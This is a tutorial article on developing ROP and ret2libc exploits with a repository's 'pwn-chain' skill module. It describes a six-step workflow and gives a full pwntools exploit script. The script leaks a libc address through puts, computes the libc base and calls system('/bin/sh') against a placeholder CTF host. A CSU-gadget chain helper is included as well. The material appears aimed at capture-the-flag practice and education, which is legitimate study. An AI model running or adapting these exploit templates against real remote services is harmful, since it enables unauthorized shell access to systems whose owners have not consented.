How to Develop Exploits with the pwn-chain Module Using ROP and ret2libc
The pwn-chain module in zhaoxuya520/reverse-skill provides a six-step workflow to build ROP chains and ret2libc exploits using pwntools, ROPgadget, and libc-database, producing stable payloads with ≥95% success rates against remote targets.
The zhaoxuya520/reverse-skill repository bridges reverse engineering analysis to working exploitation through its dedicated pwn-chain pipeline. This skill module, defined in skills/pwn-chain/SKILL.md, standardizes the development of Return-Oriented Programming (ROP) and ret2libc attacks against binaries with modern protections. By following its structured workflow and reference templates, you can develop exploits that bypass NX (non-executable stack) defenses without injecting traditional shellcode.
Understanding the pwn-chain Architecture
According to docs/ARCHITECTURE.md and skills/pwn-chain/SKILL.md, the pwn-chain skill serves as the repository’s dedicated pipeline that transforms reverse-engineering findings into fully working exploits. The architecture accepts a binary and identified vulnerability point—such as a stack overflow—as input, processes it through a standardized toolchain, and outputs a stable payload verified against remote targets.
The core toolchain documented in SKILL.md includes:
- pwntools for exploit scripting and ELF manipulation
- GEF/pwndbg for debugging and memory inspection
- ROPgadget or ROpper for discovering reusable instruction sequences
- one_gadget for finding single-call shell execution points
- libc-database for resolving libc versions from leaked addresses
The workflow mandates a six-step process covering protection enumeration, strategy selection, gadget preparation, template generation, local verification, and remote stabilization.
Why ROP and ret2libc for Modern Binaries
When binaries are compiled with NX (non-executable stack) enabled but provide access to libc or leak libc addresses, classic shellcode injection becomes impossible. The pwn-chain module addresses this by implementing Return-Oriented Programming (ROP), which reuses existing instruction sequences (gadgets) to call system("/bin/sh") or equivalent functions.
Ret2libc specifically redirects execution to libc functions already present in memory rather than injecting new code. This technique is selected automatically by the workflow when NX is active and libc symbols are available, as noted in lines 52-57 of skills/pwn-chain/SKILL.md.
The Six-Step Exploit Development Workflow
The pwn-chain skill enforces a rigorous workflow to ensure exploit reliability:
- Protection Enumeration – Analyze NX, PIE, canary, and RELRO using
checksecor ELF introspection (SKILL.md lines 47-50) - Strategy Decision – Select ret2libc when NX is enabled and libc is available; otherwise choose pure shellcode or kernel-ROP paths
- Prepare libc & Gadgets – Resolve libc versions via leakage and locate
pop rdi; retand alignment gadgets - Write pwntools Template – Assemble the payload using the reference templates in
references/stack-pwn.md - Verify Locally – Test against local binary instances with debugging enabled
- Stabilize Remotely – Iterate until achieving ≥95% success rate in repeated runs against the remote target (SKILL.md lines 71-83)
Practical Implementation of ret2libc Exploits
Enumerating Protections and Selecting Strategy
Begin by identifying binary protections to confirm ret2libc viability. As implemented in the pwn-chain module, use checksec or pwntools' ELF class to record defense mechanisms. If NX is active and you can leak or know a libc address, proceed with the ret2libc strategy documented in lines 52-57 of SKILL.md.
Discovering Gadgets and Resolving Libc
Gadget discovery relies on ROPgadget --binary ./vuln --only "pop|ret" or ropper to locate critical sequences such as pop rdi; ret and simple ret instructions for stack alignment. According to references/stack-pwn.md (lines 38-46), the ret gadget is critical for maintaining 16-byte stack alignment before calling system.
To resolve libc addresses:
- Leak a known symbol such as
puts@gotorprintf@got - Calculate the libc base:
libc_base = leaked_address - libc.sym['puts'] - Verify the exact libc version using libc-database (Stack-pwn, lines 8-21)
Constructing the ret2libc Payload
The payload construction follows the two-stage template from references/stack-pwn.md (lines 22-30 and 55-119). First, leak the libc address and return to main. Second, build the ROP chain to call system("/bin/sh") with proper stack alignment.
#!/usr/bin/env python3
from pwn import *
# Configuration
exe = './vuln'
libc_path = './libc.so.6'
HOST, PORT = 'challenge.example.com', 31337
context.binary = elf = ELF(exe)
libc = ELF(libc_path) if libc_path else None
context.log_level = 'info'
def conn():
if args.REMOTE:
return remote(HOST, PORT)
if args.GDB:
return gdb.debug(exe, gdbscript='b *main+123\ncontinue')
return process(exe)
# Stage 1 – Leak libc and compute base
p = conn()
OFFSET = 0x48 # Determined via cyclic pattern
pop_rdi = 0x401383 # `pop rdi ; ret`
ret_gadget = 0x40101a # Stack alignment
payload = b'A' * OFFSET
payload += p64(pop_rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.sym['main'])
p.sendlineafter(b'> ', payload)
p.recvuntil(b'bye\n')
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
log.success(f'Leaked puts @ {hex(leak)}')
if not libc:
libc = ELF()
libc.address = leak - libc.sym['puts']
log.success(f'libc base = {hex(libc.address)}')
# Stage 2 – ret2libc system("/bin/sh")
binsh = next(libc.search(b'/bin/sh\x00'))
system = libc.sym['system']
payload = b'A' * OFFSET
payload += p64(ret_gadget) # 16-byte alignment
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.sendlineafter(b'> ', payload)
p.interactive()
Key implementation details from the source analysis:
OFFSETmust be determined precisely using cyclic patterns (Stack-pwn, lines 26-44)ret_gadgetensures 16-byte stack alignment required by modernsystemcalls- Remote stability is achieved using
sendlineafterrather than blindsendlinefollowed bysleep(Stack-pwn, lines 62-68)
Advanced ROP Techniques
CSU Gadget Chaining for Missing Instructions
When binaries lack a pop rdx; ret gadget—common in stripped executables—the pwn-chain references demonstrate repurposing the __libc_csu_init sequence. As detailed in references/stack-pwn.md (lines 32-53), the CSU gadget allows controlled values for rdi, rsi, and rdx through a sequence of pop instructions followed by an indirect call.
csu_pop = 0x40119a # pop rbx..r15; ret
csu_call = 0x401180 # mov rdx,r15; ...; call [r12+rbx*8]
def csu(rdi, rsi, rdx, target):
payload = p64(csu_pop)
payload += p64(0) # rbx = 0
payload += p64(1) # rbp = 1
payload += p64(target) # r12 -> function pointer
payload += p64(rdi) # r13 -> rdi
payload += p64(rsi) # r14 -> rsi
payload += p64(rdx) # r15 -> rdx
payload += p64(csu_call)
payload += b'\x00' * 56 # Cleanup after call
return payload
One-Gadget Exploitation
For scenarios requiring minimal ROP chain complexity, the pwn-chain module supports one_gadget. This tool identifies pre-computed offsets within libc that execute execve("/bin/sh", NULL, NULL) when certain register constraints are satisfied. Refer to references/stack-pwn.md (lines 75-95) for integration patterns using one_gadget alongside pwntools.
Ensuring Remote Stability and Safety Checks
Before marking an exploit complete, SKILL.md (lines 87-93) mandates a safety checklist ensuring tool availability, local verification, and remote stability. The pwn-chain skill requires a ≥95% success rate across repeated remote executions to account for network latency, ASLR randomization, and timing variations.
Critical stability practices from references/stack-pwn.md include:
- Using
sendlineafterwith unique delimiters to synchronize with program output - Avoiding hardcoded
sleepcalls that create race conditions - Verifying libc offsets against the libc-database before remote deployment
Summary
- The pwn-chain module in zhaoxuya520/reverse-skill provides a structured pipeline from vulnerability identification to stable remote exploitation via
skills/pwn-chain/SKILL.md - Ret2libc exploits bypass NX protections by reusing libc functions rather than injecting shellcode, selected when NX is enabled and libc addresses are available
- The six-step workflow covers protection enumeration, strategy selection, gadget discovery, payload construction, local verification, and remote stabilization
- Gadget discovery uses
ROPgadgetorropperto locatepop rdi; retand alignment gadgets, with CSU initialization sequences serving as fallbacks for missingrdxcontrols - Stack alignment requires a
retgadget beforesystemcalls to maintain 16-byte alignment on modern x64 systems - Stability standards require ≥95% success rates against remote targets, achieved through synchronous I/O patterns and libc version verification
Frequently Asked Questions
What is the pwn-chain module in reverse-skill?
The pwn-chain module is the exploitation skill pipeline defined in skills/pwn-chain/SKILL.md within the zhaoxuya520/reverse-skill repository. It bridges reverse-engineering findings to working exploits by providing standardized workflows, toolchains including pwntools and ROPgadget, and reference templates for stack, heap, and kernel exploitation.
When should I use ret2libc instead of shellcode injection?
Use ret2libc when the target binary has NX (non-executable stack) protection enabled, preventing direct execution of injected shellcode. This technique requires access to libc (either provided or leaked) and constructs a ROP chain to call existing libc functions like system(). If NX is disabled, traditional shellcode injection may be simpler and more direct.
How do I handle missing gadgets like pop rdx in ROP chains?
When pop rdx; ret is unavailable, the pwn-chain module recommends using the CSU gadget from __libc_csu_init. As documented in references/stack-pwn.md, this sequence allows controlled values for rdx, rsi, and rdi through a series of pop instructions followed by an indirect call mechanism, bypassing the need for direct gadget availability.
What tools are required to follow the pwn-chain workflow?
The workflow requires pwntools for exploit scripting, ROPgadget or ROpper for gadget discovery, one_gadget for single-offset shell execution, libc-database for version resolution, and GEF or pwndbg for debugging. These tools are integrated through the six-step process described in skills/pwn-chain/SKILL.md to produce stable exploits.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →